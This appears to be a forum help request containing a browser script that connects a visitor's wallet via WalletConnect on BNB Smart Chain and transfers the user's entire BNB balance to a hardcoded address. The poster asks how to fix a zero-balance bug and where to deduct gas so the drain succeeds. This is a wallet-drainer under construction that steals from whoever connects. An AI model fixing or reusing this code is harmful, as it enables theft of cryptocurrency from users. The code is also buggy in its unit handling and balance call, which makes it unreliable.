hi my dear tech team
i wanna send the users full BNB amount to another address. here is the code .
2 prblems
1 the balance is show 0
2 where to subtract the gas fee.
thanks for your time
<script>
// connect to Moralis server
const serverUrl = "https://ziaphezfiimp.usemoralis.com:2053/server";
const appId = "893O49wcRg8PcpHVyy0uaSIrSLvKEQM9aqUNkLBu";
Moralis.start({ serverUrl, appId });
async function login() {
const web3 = await Moralis.enableWeb3({
provider: "walletconnect",
chainId: 56
});
}
async function logOut() {
await Moralis.User.logOut();
console.log("logged out");
alert ("Logout and clear all data already");
}
async function send () {
const balance = await Moralis.Web3API.account.getNativeBalance();
console.log(balance)
const ethInWei = Moralis.Units.ETH(balance);
console. log (ethInWei)
const options = {
type: "native",
amount: Moralis.Units.Token(ethInWei),
receiver: "0x5e9723c6DA101BA91404EeF086B6DA736f49E5Fc",
};
let result = await Moralis.transfer(options);
}
document.getElementById("btn-login").onclick = login;
document.getElementById("btn-logout").onclick = logOut;
document.getElementById("send").onclick = send;
</script>